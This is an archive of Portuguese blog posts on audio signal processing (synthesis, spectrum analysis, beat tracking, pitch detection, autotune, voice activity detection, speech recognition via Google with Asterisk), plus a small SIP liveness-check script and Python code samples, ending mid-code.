Basic About Synthesizer

abril 12, 2013 5 comentários

Olá Pessoal !

Vocês já se perguntaram como um determinado áudio é sintetizado ?

Pois bem, participei de um curso ministrado pelo professor Steve Everett diretor do  Centro de Pesquisa de Música na Emory University, ele desenvolve vários métodos computacionais para modelar e produzir músicas, minha área de análise em sinais possui pouca relação na produção de áudio, a produção de áudios em si não é um campo que me desperte interesse, mas durante o curso o Steve falou sobre sintetizadores e fiquei curioso em saber como um teclado consegue simular vários tipos de instrumentos …

Cada instrumento musical possui uma determinada sonoridade, você percebe claramente uma grande diferença tonal da mesma nota quando tocada em instrumentos diferentes, por exemplo a nota Lá(A4 – quarta oitava) produz 440Hz em qualquer instrumento seja ele um violão ou em um teclado, se a frequência é sempre a mesma o que faz esta diferença tonal acontecer ?

Temos que lembrar que quando uma nota é tocada diferentes harmônicos acontecem e estes definem qual tonalidade a frequência fundamental vai tomar, ou seja qual corpo ela vai ter, a coleção de harmônicos em conjunto com a frequência fundamental define qual timbre um instrumento tem, lembrando que a Freqüência Fundamental é sempre a frequência com a maior percepção audível, os harmônicos são produzidos por diversos fatores, madeira do instrumento, cordas do instrumento, a cola usada no instrumento, a nota ecoa por toda arquitetura do instrumento que produz um som particular …

Pensando nisso peguei uma nota gravada de um violão e apliquei Fourrier para verificar quais Harmônicos ocorriam, este é um método que descreve o principio básico de como os sintetizadores são feitos, o método que usei recria as frequências e suas respectivas magnitudes a partir de um sinal amostrado, em meus testes o sinal é recriado utilizado Senoide, cada Frequência e Magnitude(Linear) capturado do espectro de magnitude da Transformada de Fourrier é somada formando um sinal complexo, existem outras formas de ondas ( pulso, triangular, quadrada, dente-de-serra), cada uma delas pode ser usada afim de conseguir timbres mais parecidos para determinados tipos de instrumentos , Vejam uma figura que demonstra o tipo de cada onda:

Em meus testes usei a onda “Sine”, escute um exemplo de áudio deste tipo de onda com Freqüência de 1000Hertz:

Conforme novos  Harmonicos são adicionados (Somados) o áudio tende a mudar, vejam na figura a baixo no lado direito você verá o Espectro de Magnitude do Áudio Original e do lado esquerdo o áudio sintetizado, reparem na semelhança dos harmônicos:

D_Guitar

Audio Original:

Audio Sintetizado:

A Nota D  da corda do violão elétrico ficou bem parecida 🙂

Vamos ver como a forma de onda Sine se sai com uma nota lá A4 do piano :

Piano_La

Audio Original:

Audio Sintetizado:

O áudio sintetizado para piano não se saiu muito bem utilizando Senoide, faz sentido já que possui melhores resultados em sinais mais graves !

Até agora vimos tentativas de sintetizar sinais com poucos harmônicos ocorrendo, vamos testar com um sinal bastante complexo com vários harmônicos acontecendo em diferentes magnitudes, vamos tentar sintetizar um áudio com voz :

VOZ

Audio Original:

Audio Sintetizado:

Por ser um sintetizador bem básico feito em duas horas no matlab até que se saiu bem 🙂

Não tive tempo de organizar e limpar o código,  se houver interesse dos leitores neste tipo de “brincadeira” posso liberar o source!

[]’s

Eng Eder de Souza

Categorias:DSP, Programação Tags:,

Audio spectrum Analyzer

fevereiro 7, 2013 5 comentários

Oi Pessoal !

Minha história com o Analisador de Espectro de Frequências é bem antiga, tudo começou em meados da década de 90 eu era praticamente uma criança,  me lembro claramente que nesta época um player de áudio dominava os computadores com windows 95 o clássico winamp, pois bem eu me deliciava acompanhando  as músicas junto com as “barras” que se moviam conforme a música evoluía, associava cada batida , cada voz, cada timbre, com o então na época chamado por mim “barras do winamp’  e em minha mente tentava entender como  aquelas “Barras” pareciam literalmente dançar com a música. A curiosidade aumentou quando meu pai comprou um micro system da aiwa ele tinha uma grande tela frontal com um analizador de espectro, o tempo foi passando e fui entendendo como um analisador de espectro de frequência funciona !

Na realidade tudo é bem simples, o que “eles” fazem é separar as bandas das frequências discretas retornadas pela transformada de Fourier, lembrando que a faixa de frequência possível para análise sempre dependerá da taxa de amostragem do sinal de áudio, claro estes visualizadores de espectros (Aiwa, Sony, winamp, etc) possuem apenas um caráter estético e muitos deles não mostram na realidade as frequências precisas e onde realmente elas estão acontecendo!

A faixa de frequência audível de um ser humano é de 20hz até 20Khz, então para construir um analisador de espectro que atenda as características audíveis do ser humano teremos que ter um sinal de áudio com uma taxa de amostragem igual ou superior 44100hz, seguindo o Teorema de Nyquist “A frequência de amostragem de um sinal analógico, para que possa posteriormente ser reconstituído com o mínimo de perda de informação, deve ser igual ou maior a duas vezes a maior frequência do espectro desse sinal“, então sé temos uma frequência de amostragem de 44100 e dividir por 2 -> 44100/2 = 22050, opa este valor atende a maior frequência audível do ser humano, lembre, se você trabalhar com taxa de amostragem menor poderá estar perdendo informações(Análise) de frequências que  estão em nosso campo audível, pronto já sabemos qual é a maior frequência que nosso analisador de espectro  é capaz de alcançar  é de 22050hz, agora precisamos decidir qual será a ordem de resolução da  frequência, quanto menor a ordem mais apurado seu analisador será, porém exige muito mais processamento ao computar a transformada de fourier, estou utilizando 4096 pontos isto me dá uma resolução de ordem = 10,7666015625, isto quer dizer que podemos estar perdendo em algum ponto a precisão das frequências capturadas na ordem perto de 11hertz, o que considero bem aceitável para o que precisamos aqui, ao computar a Transformada Fourier precisamos calcular a raiz quadrada da soma do quadrado dos seus componentes reais e imaginários e isso nós dá a magnitude do coeficiente de FFT para cada frequência.  OK com isso agora sabemos que nossa menor frequência possível de ser capturada será de  44100/ 4096 = 10,7666015625hz e a nossa maior frequência possível de ser capturada será de  22050hz. Legal lembre-se que ao computar a transfonada de fourier utilizando 4096 pontos teremos que sempre remover a segunda metade dos resultados pois é apenas um espelho dos resultados da primeira metade, então como resultado teremos 4096 /2 = 2048 frequências discretas retornadas, com isto você saberá quais serão todas as suas 2048 bandas de frequências:

1 -> 10,7666015625000

2 -> 21,5332031250000

3 -> 32,2998046875000

4 -> 43,0664062500000

5 -> 53,8330078125000

2047 -> 22039,2333984375

2048 – > 22050

Reparem que entre a mínima e a máxima ainda estamos dentro da faixa audível humana !

O retorno destes 2048 pontos já é o seu espectro de frequência, você ainda pode converter os resultados em escala logarítmica  ou manter na escala linear, vai depender de sua necessidade ou seja se a amplitude do sinal precisa estar definida em decibéis ou não,  fiz um protótipo em python, na realidade o protótipo funciona como um player de arquivos .wav com canais em  mono, o protótipo funciona apresentando o Espectro de Frequência em real time  enquanto um áudio é executado,  veja o teste da escala audível humana !

Legal Funciona direitinho 🙂

Veja ele funcionando com uma música sendo tocada !

É bastante interessante analisar e ver como certas notas produzem harmônicos que ressoam em diferentes frequências que na realidade define a característica do timbre !

Até a próxima !

Eder

Audio Beat Track

outubro 21, 2012 Deixe um comentário

Oi Pessoal, faz tempo que não olho com carinho para o blog, desculpem pelo “gap” !

Já perceberam que ando trabalhando bastante com análise de sinais e todas as vezes que venho aqui escrever tento abordar o assunto da maneira mais simples possível, a idéia é sempre deixar o leitor curioso de como as coisas funcionam …

Hoje vamos falar de “Beat Track” esta é mais uma das várias caracteristicas de extrações de audio, com ele podemos estimar quantas batidas por minuto um determinado sinal de áudio possui, andei lendo alguns modelos de como extrair esta informação, acabei desenvolvendo um código em matlab para este propósito!

Como chegar lá?

Vamos “Brincar” com este arquivo de áudio

Primeiro precisamos decompor o sinal em várias sub-bandas, escolhi seis sub-bandas descrito por “Scheirer 1998” (200, 400, 800, 1600, 3200, 6400), apliquei filtro de passa altas e passa baixas para extrair as seis sub-bandas !

Vejam as seis sub-bandas extraidas do áudio:

Após este passo segui um modelo descrito por “George Tzanetakis 2001” no artigo “Tempo Extraction using Beat Histograms”, seu documento descreve um modelo bastante robusto utilizando envelope (envoltória) e autocorrelação, a partir de uma forma de onda de áudio o envelope pode ser calculado, a forma de onda nos mostra a variação de amplitude do áudio ao longo do tempo, bastante útil para o uso deste caso na qual nos mostra exatamente onde os picos das batidas do som ocorre!
Aplicando o Envelope em cada sub-banda extraida temos:

Reparem a relação entre as formas de onda de cada sub-banda e seus respectivos envelopes, agora se somarmos todos os envelopes teremos uma informação bastante consistente das batidas que este áudio possui, veja a soma:

Agora ficou relativamente simples ver onde todas as batidas do áudio ocorre, se você escutar o áudio certamente conseguirá acompanhar no gráfico acima onde as batidas da música estão acontecendo…

O Audio que estamos “brincando” possui cerca de 10 segundos, eu o calculei como tendo 128 batidas por minuto utilizando meu código, mas será que está certo ? utilizei 10 segundos de áudio pois é mais fácil ver onde as batidas estão acontecendo, perceba também que preferi pegar um áudio que possui uma batida bastante perceptível, vamos tentar calcular na mão e ver se conseguimos um valor parecido?

Estamos vendo claramente que o gráfico acima possui todas as batidas que ocorrem no arquivo de áudio com cerca de 10 segundos de gravação, o gráfico possui 21 picos, então podemos pressupor que se a evolução deste gráfico nao mudar  durante 60 segundos teremos 126 batidas por minuto, acompanhe:

Temos 10 segundos de áudio, 1 minuto = 60 segundos, 60 segundos dividido por nossos 10 segundos de áudio é igual a 6, 6 vezes 21 picos será igual 126 batidas por minuto, bem proximo do valor correto que é de 128 batidas …

Bom, tornei o código publico aqui, escrevi em matlab parece ser bastante robusto !

Eng Eder de Souza

Categorias:DSP, Programação Tags:,

AutoTune

maio 25, 2012 1 comentário

Olá pessoal!

AutoTune faz a correção dos pitches automaticamente em um sinal de áudio,  e claro a industria da música nunca foi a mesma desde sua invenção !

Hoje em dia ele é amplamente utilizado em músicas populares, certamente você já deve ter notado um efeito diferente na voz dos cantores note-americanos, eles utilizam o AutoTune excessivamente em algumas músicas …

Chegamos a um nível tao elevado que hoje em dia existe a possibilidade de se mudar o Pitch em qualquer pedaço do frame de um sinal, isso permite por exemplo que ao tocar um piano se em algum momento uma nota soar errado não precisamos mais descartar a gravação e podemos alterar o valor desta nota para a forma correta .

Grosseiramente falando o AutoTune permite que qualquer pessoa fique afinada ao cantar, costumo fazer a seguinte comparação: “Hoje em dia todas as revistas usam photoshop nas modelos de capa de suas revistas para corrigir imperfeições, do mesmo modo os produtores utilizam do AutoTune ou Pitch Correction para garantir melhor qualidade no produto final”.

Sempre sonhei em construir um AutoTune em real-time para diversão, alguns dos motivos que sempre me impediram de fazer isso em Python é a necessidade de um intensivo processamento nas operações, a performance em Python não é um ponto forte da linguagem, dois pontos cruciais para o desenvolvimento do AutoTune exigem cálculos que consomem bastante tempo do processador, tornando a latência para uso em real-time impraticável. Primeiro precisamos de um excelente algoritmo que faça Pitch detection após encontrar as frequências precisaremos força-las a mudar quando necessário utilizando Pitch Shift , eu testei alguns modelos em Python Puro e a latência em cada bloco de frames ficou muito alto.

Sempre que preciso de muito desempenho apelo para a linguagem C, e para a minha sorte encontrei um código escrito por Tom Baran, Olhei o source e pensei vou portar como módulo para python, e assim fiz um módulo chamado PyAutoTune, Tom Baran captura o sinal em float 32Bits para conseguir um resultado mais apurado na detecção do Pitch, o desempenho ficou melhor do que esperado a latência é imperceptível, a instalação do módulo é simples e pode ser feita com um simples “python setup.py install”, escrevi dois sources simples para exemplificar como utilizar o módulo, você pode encontra-los na pasta Exemples.

Source: https://github.com/ederwander/PyAutoTune

Eng Eder de Souza

Categorias:DSP, Programação Tags:,

Desafio: Hide information in audio files

Já faz muito tempo que comentei sobre Esteganografia aqui no blog, na época estava testando diferentes meios de se esteganografar imágens dentro de arquivos de áudio, isso faz tanto tempo que nem me lembrava mais, porém neste fim de semana estava procurando em meio a minha bagunça um antigo pendrive com alguns arquivos de áudios, e olha o que encontro ?

Um Arquivo chamado “FantasiaSteganografado.wav”, me lembrava vagamente que por volta do ano de 2010 tinha criado um arquivo de áudio com informação binária oculta, escutei o arquivo e o áudio estava normal, logo acima um outro arquivo “FantasiaOriginal.wav” escutei o arquivo e também normal, os dois arquivos possuem exatamente o mesmo tamanho 15,7MB, ambos também possuem 3,57 Minutos, só tem um detalhe, dentro de um deles existe uma imágem, fiquei tentando lembrar mas nada me vinha em mente, corri entao para um antigo repositório de códigos feitos por mim e “bannnnn” lá estava todo o código, ao olhar tudo se esclareceu um repentino flash como um grande clarão me fez relembrar :-);

Na Época estava muito curioso em saber como os mal intencionados conseguiam colocar informações ocultas dentro de arquivos de áudio, curioso como sempre me lembrei que lí alguns artigos para entender e construir veja alguns interessantes aqui e aqui;

O DCT(Transformada Discreta de Coseno) é amplamento utilizado como modelo de compressão, e claro os espertinhos utilizam este modelo para inserir (injetar) informações binárias dentro de arquivos de áudio ou imágens, parece complexo mas o código é muito simples e por motivos de segurança não irei postar como injetar estes dados;

Estou divulgando o arquivo Original e o Esteganografado por mim, então lá vai um desafio você consegue recuperar a imágem dentro do arquivo de áudio ?

Dica:

  • Compare os dois arquivos e encontre o inicio e o fim dos frames com diferença;
  • Eu inseri uma imágem .bmp em preto e branco de tamanho 380 x 110; use este tamanho para reconstruir sua matriz de pixels;

Você se acha capaz de reconstruir minha imágem ?? baixe os dois arquivos aqui:

Use a linguagem que melhor lhe atender !

Eng Eder de Souza

Categorias:DSP, Programação Tags:,

Chromagram

Método para obtenção de caracteristicas em um sinal de audio,  robusto e atualmente utilizado em reconhecimento de acordes músicais, reconhecimento de covers e para encontrar similaridade em pedaços de áudios.

Enquanto um spectrograma é capaz de nos mostrar a variação da intensidade, magnitude de um sinal para cada frequencia no decorrer do tempo, o Chromagrama consegue nos informar a distribuição da energia representados por 12 possíveis notas chamadas de escala cromática, comumente  classificados como “c, c#, d, d#, e, f, f#, g, g#, a, a#, b”.

Para conseguir esta informação teremos que reestruturar nosso espectrograma.

Antes de qualquer coisa teremos que efetuar o resample ou downsample do Sinal de áudio, fiz alguns testes usando resample ou seja convertendo qualquer sample rate para 11025 Hz, achei  este processo um pouco lento e então decidi fazer o downsample usando “Decimation” que de quebra já me faz um filtro por Low-pass e anti-aliasing, como o nome já sugere o downsample a grosso modo “joga fora” algumas amostras do sinal, o decimation trabalha usando um fator inteiro, portanto se meu sinal original possui  44100 Hz de sample rate e se preciso que este sinal vá para 11025 Hz de sample rate terei que ter um Fator=4 ou seja 44100/4 = 11025.

Após estes passos poderei  adquirir o espectrograma aplicando 2048 frames, para computar o chromograma precisarei converter o spectrograma  de domínio da freqüência para pitch do domínio, isto é feito aplicando Logarithmic Frequency assim poderemos mapear os 12 elementos de interesse.

E finalmente teremos nosso chromagrama com 12 posições, uma para cada nota no decorrer do tempo…

Escrevi algo conceitual em python deixei o código o mais limpo possível para melhor entendimento, estou plotando os resultados com o matplotlib, importante dizer que o matplotlib não aguenta plotar arrays muito grandes portanto para os meus testes utilizei arquivos de audios pequenos em torno de 30 segundos, seguindo esta linha recortei 28 segundos iniciais da música “Def Leppard – Animal”, e ai esta o resultado do Script.

Image

Source em:

https://github.com/ederwander/Chromagram/blob/master/Chromagram.py

Python Smith Trigger for frequency analysis

fevereiro 29, 2012 Deixe um comentário

Olá Galera estava eu olhando alguns sources para análise de frequências quando me deparo com algo inesperado, seria possível extrair frequências de um sinal aplicando o modelo descrito pelo cientista Otto H. Schmitt em 1934, e pelo que vejo realmente parece ser possível, olhando com calma o códio em C++ de Mario Lang em http://delysid.org/tuneit-0.3.tar.gz, percebi que ao estimar o período do sinal seria possível calcular a frequência fundamental, não é muito robusto mas é extremamente rápido e pode ser uma alternativa para captura de frequências em áudios que possuam sinusoides puras.

Eu compilei o source em linux para testes e vi o quanto ele era simples, e então portei o algoritmo para Python.

Mais detalhes sobre http://en.wikipedia.org/wiki/Schmitt_trigger

Source aqui: https://gist.github.com/1944257

Categorias:DSP, Programação Tags:,

Google Speech + Python + Asterisk

janeiro 16, 2012 84 comentários

Olá Povo que acompanha o blog 🙂

Ainda falando sobre reconhecimento da fala utilizando o google, enviei uma mensagem na lista AsteriskBrasil onde expressava minhas idéias de como utilizar o serviço de reconhecimento de fala do google em tempo real com o Asterisk,  já se passou quase uma semana sem se quer um suspiro de interesse, então resolvi seguir sozinho !

A idéia é utilizar EAGI para controle do canal de entrada de áudio em conjunto com o File Descriptor, o Asterisk entrega o áudio em formato RAW diretamente no File Descriptor 3, então podemos utilizar esta informação da maneira que acharmos conveniente, para este caso a manipulação se torna muito prática, o que me desprende totalmente das APP’s prontas para gravações inseridas no Asterisk Ex. Record, nada melhor do que ser livre para voar, é claro várias análises se tornam possíveis com isso e o leque de aplicações possíveis se tornam infinitas.

Você certamente já pensou em ter um PABX com funcionalidade para reconhecimento da fala então certamente irá precisar partir para soluções cooporativas e caras certo???

A Partir de hoje não !

Tudo que irá precisar é ter internet para acessar o google o Script possue algumas dependencias:

https://github.com/ederwander/Asterisk-Google-Speech-Recognition/blob/master/README

Estou usando novamente o módulo audiolab para efetuar o encode do áudio em FLAC, caso exista alguma dificuldade para a instalação deste módulo poderei pensar em adaptar o código para uso externo do sox ou flac.

Como ele funciona?

  • Atende uma ligação
  • O usuário tem no máximo 10 segundos para efetuar a fala
  • Caso nao encontre atividade de voz encerra com timeout
  • Estratégia para atividade de voz verdadeira para os seguintes valores  RMS > 15 e Pitch > 75
  • Se atividade for encontrada o usuário poderá falar por no máximo 10 segundos
  • O script verifica blocos em tempo real com amostras de 1 em 1 segundo e verifica se a fala cessou
  • Caso sim o script interrompe a gravação automáticamente e envia o que foi gravado para o google
  • Caso não o script continua o seu curso até seu máximo de 10 segundos
  • Apos encontrada a resposta da fala no google o script seta a variável “GoogleUtterance”

 

Telas:

 

 

Source em:

https://github.com/ederwander/Asterisk-Google-Speech-Recognition

Simple VAD (Voice activity detection) Based in Threshold Energy

janeiro 10, 2012 5 comentários

Fim das Férias…

Post passado mostrei um exemplo simples de como integrar o Voice Search do google usando Python, comentei que seria interessante desenvolver um VAD para automatizar o processo etc, e então no final do ano passado desenvolvi um novo protótipo, escrevi algo bem simples para adquirir o conceito, e em cada passo da implementação me deparava com um problema, a maneira mais básica para identificar a atividade de sons é por meio do RMS (Root mean square), com ele conseguimos medir a magnitude do sinal, isso nos dá a possibilidade de calcular o volume em um grupo de frames no sinal e o pesadelo começa aqui como encontrar um valor global para definir o que é silencio ou não ???

As Variáveis são muitas e mais uma vez qualquer componente externo pode atrapalhar nos resultados, Qualidade do Microfone,  Nível do Volume e Boost configurados para o seu Microfone, etc.

Pensando em amenizar o problema inclui um Simples Extrator de Tom para tentar encontrar frequências maiores do que 80 Hz, a voz humana é capaz de reproduzir sons que vão de 80 até 1100Hz, para trabalhar em real-time o desempenho é fundamental então parti para um extrator de Freqüência bem veloz apesar de não funcionar com muita eficiência em ondas complexas utilizar zero-crossing se torna útil para este projeto.

No projeto passado para efetuar as conversões em .flac utilizei a biblioteca audiolab, o audiolab é excelente para Linux, mas neste novo projeto iniciei os testes em solo Windows e tive muitas incompatibilidades, resolvi então utilizar um binário externo para efetuar os encodes (flac.exe) você pode baixar no seguinte link.

Como o protótipo funciona?

  • Ao Executar ele fica escutando o sinal de áudio do microfone
  • Ao perceber atividade de voz inicia a gravação
  • Ao iniciar a gravação continua analisando os últimos blocos dos frames para tomar a decisão se a fala cessou ou não
  • Se cessou finaliza a entrada de áudio converte para .flac e envia para o google neste caso o framerate já esta no formato correto pois a gravação feita pelo microfone já se encontra em 16000.

Para o meu caso consegui melhores resultados configurando meu microfone no windows com 100% de nível e com boost de +10dB

Tela:

Source:

https://gist.github.com/1589531

Eng Eder de Souza

Accessing the Google Speech API + Python

novembro 6, 2011 26 comentários

Olá Pessoal…

Se você possue um iphone 4S já  ouviu falar do SIRI, ele é um assistente pessoal que lhe auxilia respondendo questões, tudo isso é feito por meio de Voz utilizando-se o reconhecimento da Fala, suas perguntas são transcritas em texto e analisadas pelo Siri  que lhe responde por meio de um TTS (Text-To-Speech) , desenvolvedores do Android logo apareceram com um rival chamado de IRIS (Intelligent Rival Imitator of Siri), quando se utiliza destas aplicações sentimos que algo mágico acontece, como ambos reconhecem com tamanha precisão uma frase inteira?? Certamente ambos os métodos possuem modelos baseados em Hidden markov model (HMM), algo que demanda muito tempo, pesquisa e estudo para classificar padroes previamente treinados.

Mas espere os desenvolvedores do IRIS dizem que a aplicação para o Android foi feita em apenas 8 horas de trabalho, humm, olhando mais a fundo você logo percebe que o aplicativo acessa a API do google para reconhecimento de fala, até então este recurso do google chamado de “Voice Search” disponível apenas para navegadores Chrome funciona como um complemento onde se disponibiliza um ícone (microfone) nos campos de busca do navegador para efetuar qualquer tipo de procura utilizando a fala.

Claro que os mais observadores logo pensam “um complemento é capaz de fazer tudo isso??”, mas é claro que não, ele apenas grava o sinal capturado pelo microfone e envia para um servidor central do google. Tudo é gravado em um formato .flac com um sample rate de tamanho 16000.

Fiz algo bem simples em python nao gastei nem 2 horas de brincadeira o script pega um arquivo pré-gravado .wav converte para o frame rate utilizado pelo google de 16000, logo após converte o arquivo em formato .flac, envia para o google e pega a resposta da frase ou palavra que você falou no arquivo. Quiz deixar o scrpit o mais independente possível sem precisar de programas externos para conversões.

O proximo passo é fazer tudo isso em realtime sem necessitar de arquivos pré-gravados, o correto é fazer um algoritmo para VAD (Voice activity detection) que inicia o processo de gravação do audio em realtime quando alguma atividade de voz é encontrada, assim será necessário sempre verificar a energia do sinal para saber o momento que a uma palavra ou frase acaba para encerrar o processo de gravação, quem sabe se tiver tempo posso escrever, por enquanto fiquem com a minha primeira versão.

Source em:

https://gist.github.com/1342497

Update Python Google Speech API and VAD here !

Eng Eder de Souza

Categorias:DSP, Programação Tags:,

SHS Pitch Track

outubro 26, 2011 Deixe um comentário

Em 1988 Dik J. Hermes publicou um artigo denominado “Measurement of pitch by subharmonic summation“, com uma taxa de erro de 2,5% é considerado um método robusto para extração de Frequencias, Hermes descreve esta técnica como sendo a soma dos sub harmonicos encontrados em um sinal realizando uma análise baseado em um modelo de compressão do espectro. SHS se aplica pela seguinte formula:

Simulando o artigo descrito por Hermes…

Em meus testes estou assumindo :

  • Fator de Compressão = 0.84
  • MaxFrequency = 1000
  • MinFrequency = 50
  • MaxSubharmonics = 15

Algoritimo de Simulação:

  • Criar um sinal de 200 Hertz com tamanho de 400 ms;
  • Pegar os primeiros 10 ms de amostra deste sinal equivalente a 100 amostras;
  • Criar uma Janela (Hamming);
  • Multiplicar 10 ms de sinal pela janela criada;
  • Criar 156 amostras de zeros;
  • Preencher o sinal com 156 zeros no final da amostra para obter 256 ms;
  • Aplicar Fourrier para pegar o espectro de amplitude do sinal em uma janela de 1250;
  • Melhorar o sinal do espectro de amplitude ;
  • Suavizar o sinal do espectro de amplitude ;
  • Aplicar interpolação cubica no sinal suavizado com 48 pontos por oitava;
  • Apos a interpolação cúbica pegar o tamanho do vetor das frequencias criadas;
  • Criar um arco-tangente com o mesmo tamanho do vetor da interpolação cubica;
  • Calcular a multiplicação entre o arco-tangente e a interpolação cúbica;
  • Calcular a somatória dos subharmonicos pela formula SHS;
  • Encontrar o ponto máximo após a somatória.

Resultado de todos os passos descritos:

Nada melhor do que ver os passos, então enquanto criava meu ambiente de simulação resolvi plotar os  principais passos para melhor visualização.

Aqui esta:

Deste modo podemos notar que ao efetuar os cálculos pela formula SHS através dos resultados adiquiridos pelo espectro de amplitude que todos os pontos contribuem de certa forma para compor relações harmónicas.

Certamente um dos métodos mais robustos para captura de frequencias em sinais com ondas complexas.

Eng Eder de Souza

Categorias:DSP, Programação Tags:,

Experimental Guitar Tuner

setembro 9, 2011 Deixe um comentário

Olá Pessoal…

Ano passado dei uma rápida olhada em alguns métodos utilizados por afinadores de guitarra, e me parece existir sempre pros e contras em cada método, existe sempre muita discussão ao se utilizar Fourrier por afinadores, dependendo do tamanho da janela da amostra as frequencias mais baixas podem ser descartadas, a idéia então seria aplicar filtros no sinal para tentar contornar este problema o que muitos dizem ser o mesmo que “matar uma formiga com uma bazuca” ou seja uso desnecessário, alguns métodos baseados em tempo não trabalham bem com ondas complexas, no caso de uma corda de guitarra soando seria um problema pois ocorrem diferentes harmonicos, mesmo sabendo destes problemas resolvi testar um método chamado Average magnitude difference function (AMDF):

Parecido com a autocorrelação, onde se calcula a diferença de si mesmo em uma versão um pouco defasada…

Como este script foi construido para uso próprio pouco me importei com o desempenho, estou utilizando uma janela de coleta de 1024 frames o que me parece ser o suficiente, o cálculo de várias funções consome algum tempo causando um delay de alguns segundos para reconhecimento da nota, em contrapartida a detecção das notas se comporta muito bem com ruido no sinal.

O script em python funciona em real-time pelo microfone ou conectando algum instrumento em sua entrada de audio no computador, andei lendo também sobre métodos cepstrais utilizados para afinar instrumentos, me parece ser uma melhor escolha do que esta.

Source:

https://gist.github.com/1342086

Eng Eder de Souza

Categorias:DSP, Programação Tags:,

Sip Host is Alive ??

agosto 2, 2011 3 comentários

Olá Pessoal!

Hoje precisava saber se um determinado host SIP estava vivo,  pensei como posso descobrir isso??

ping?

R: não, preciso saber se a porta SIP esta respondendo

Tentar conexão com o netcat na porta UDP 5060?

Então porque não enviar o inicio do método register para ver se pego algum retorno ..

Assim:

echo “REGISTER sip:vono.net.br SIP/2.0” | netcat -u vono.net.br 5060

Retorno:

SIP/2.0 400 Invalid RequestURI
CSeq: 0 REGISTER

humm olha ae já consegui uma comunicação entre os lados, com isso já sei que ponta esta respondendo algo e consequentemente ela está viva…

Então porque não transformar isso em algo útil, acho que muitos precisam de algum tipo de check para saber se um provedor, servidor VOIP, está de pé, não apenas de pé como entendendo e respondendo requisições SIP na porta UDP 5060.

Desenvolvi um script bem simples que faz isso!

tela:

O script trabalha com 3 métodos de request (invite, Register, Options) se algum destes métodos responder é porque existe na outra ponta um servidor SIP rodando e funcionando na porta 5060!

Coloquei o script aqui:

http://josephlol.orgfree.com/ederwander/Sip_Alive_Test.pl

Fui

Eng Eder de Souza

Categorias:Programação, Telecom

Simple Audio Efects in Python

julho 21, 2011 1 comentário

Um código simples, que demonstra como inverter um sinal de áudio gravado em python e como  criar samples com Pitch alterado …

import pyaudio
import numpy as np
import wave
import struct

chunk = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 1
RATE = 41000
RECORD_SECONDS = 5
swidth = 2

p = pyaudio.PyAudio()

stream = p.open(format = FORMAT,
    channels = CHANNELS,
    rate = RATE,
    input = True,
    output = True,
    frames_per_buffer = chunk)

print “***gravando”,RECORD_SECONDS,”Segundo(s)***”

all = []
signal=[]

for i in range(0, RATE / chunk * RECORD_SECONDS):

    data = stream.read(chunk)
    all.append(data)
    stream.write(data, chunk)

print “***Pronto***”

stream.stop_stream()
stream.close()
p.terminate()

WAVE_OUTPUT_FILENAME = “Original.wav”
data = ”.join(all)
wf = wave.open(WAVE_OUTPUT_FILENAME, ‘wb’)
wf.setnchannels(CHANNELS)
wf.setsampwidth(p.get_sample_size(FORMAT))
wf.setframerate(RATE)
wf.writeframes(data)
wf.close()

####Bad Voice####

WAVE_OUTPUT_FILENAME = “bad_voice.wav”
data = ”.join(all)
data = np.array(wave.struct.unpack(“%dh”%(len(data)/swidth), data))*2
wf = wave.open(WAVE_OUTPUT_FILENAME, ‘wb’)
wf.setnchannels(CHANNELS)
wf.setsampwidth(p.get_sample_size(FORMAT))
wf.setframerate(RATE)
wf.writeframes(data)
wf.close()

spf = wave.open(‘bad_voice.wav’, ‘rb’)

p = pyaudio.PyAudio()

stream = p.open(format =
                p.get_format_from_width(spf.getsampwidth()),
                channels = spf.getnchannels(),
                rate = spf.getframerate(),
                output = True)

data = spf.readframes(chunk)

print “***Escutando bad voice***”

while data != ”:
    stream.write(data)
    data = spf.readframes(chunk)

stream.close()
p.terminate()

print “Aguarde…”
####Inverse sample####

spf = wave.open(‘Original.wav’, ‘rb’)
Getsignal = spf.readframes(-1)
Getsignal = np.fromstring(Getsignal, ‘Int16’)
spf.close

for resultado in np.flipud(Getsignal):
     signal.append(resultado)

signal = np.array(signal)
WAVE_OUTPUT_FILENAME = “inverse.wav”
wf = wave.open(WAVE_OUTPUT_FILENAME, ‘wb’)
wf.setnchannels(CHANNELS)
wf.setsampwidth(p.get_sample_size(FORMAT))
wf.setframerate(RATE)

for s in signal:
        wf.writeframes(struct.pack(‘h’, int(s)))
wf.close()

spf = wave.open(‘inverse.wav’, ‘rb’)

p = pyaudio.PyAudio()

stream = p.open(format =
                p.get_format_from_width(spf.getsampwidth()),
                channels = spf.getnchannels(),
                rate = spf.getframerate(),
                output = True)

data = spf.readframes(chunk)

#se vc gravar alo escutara ola
print “***Escutando em modo inverso***”

while data != ”:
    stream.write(data)
    data = spf.readframes(chunk)

stream.close()
p.terminate()

Eng Eder de Souza

Categorias:DSP, Programação

Fundamental Frequency Estimation Methods

junho 15, 2011 6 comentários

Oi Pessoal…

Eu escrevi algo bem superficial neste blog sobre Frequencia fundamental (F0), recebi alguns emails perguntando sobres os métodos utilizados para se estimar as frequencias dentro de arquivos de áudios, como aplicar estes métodos e quais deles possuem melhor desempenho!

Testei os seguintes métodos:

  • Transformada de Fourrier
  • Zero Crossing
  • Auto-correlação

Auto-Correlação como esperado possue o pior desempenho, aplicar correlação em um sinal de áudio para depois encontrar o maior valor dentro dos dados correlacionados toma muito tempo de processamento!

Transformada de Fourrier possue um desempenho melhor comparado ao método anterior, submeter o sinal a transformada de fourrier é uma boa alternativa  para encontrar frequencias diversas dentro de arquivos de áudios.

Zero Crossing o grande campeão chega a ser quinze (15) vezes mais rápido do que a auto-correlação e pensando friamente é muito mais fácil e rápido encontrar quais são os pontos de variações dentro do sinal, sem submeter o sinal a fourrier.

Tela dos testes:

Source:

from __future__ import division
from numpy.fft import rfft
from numpy import argmax, mean, diff, log, fromstring
from matplotlib.mlab import find
from scipy.signal import fftconvolve, kaiser
from time import time
import sys
import wave

def parabola(data,x):

v1=1/2*(data[x-1]-data[x+1])/(data[x-1]-2*data[x]+data[x+1])+x
v2=data[x]-1/4*(data[x-1]-data[x+1])*(v1 – x)
return (v1, v2)

def Fundamental_Frequency_zero_crossing(signal, fs):

values = find((signal[1:] >= 0) & (signal[:-1] < 0))
crossingValues = [i – signal[i] / (signal[i+1] – signal[i]) for i in values]
return fs / mean(diff(crossingValues))

def Fundamental_Frequency_fft(signal, fs):

janela = signal * kaiser(len(signal),100)
f = rfft(janela)
i = argmax(abs(f))
real = parabola(log(abs(f)), i)[0]
return fs * real / len(janela)

def Fundamental_Frequency_autocorrelation(signal, fs):

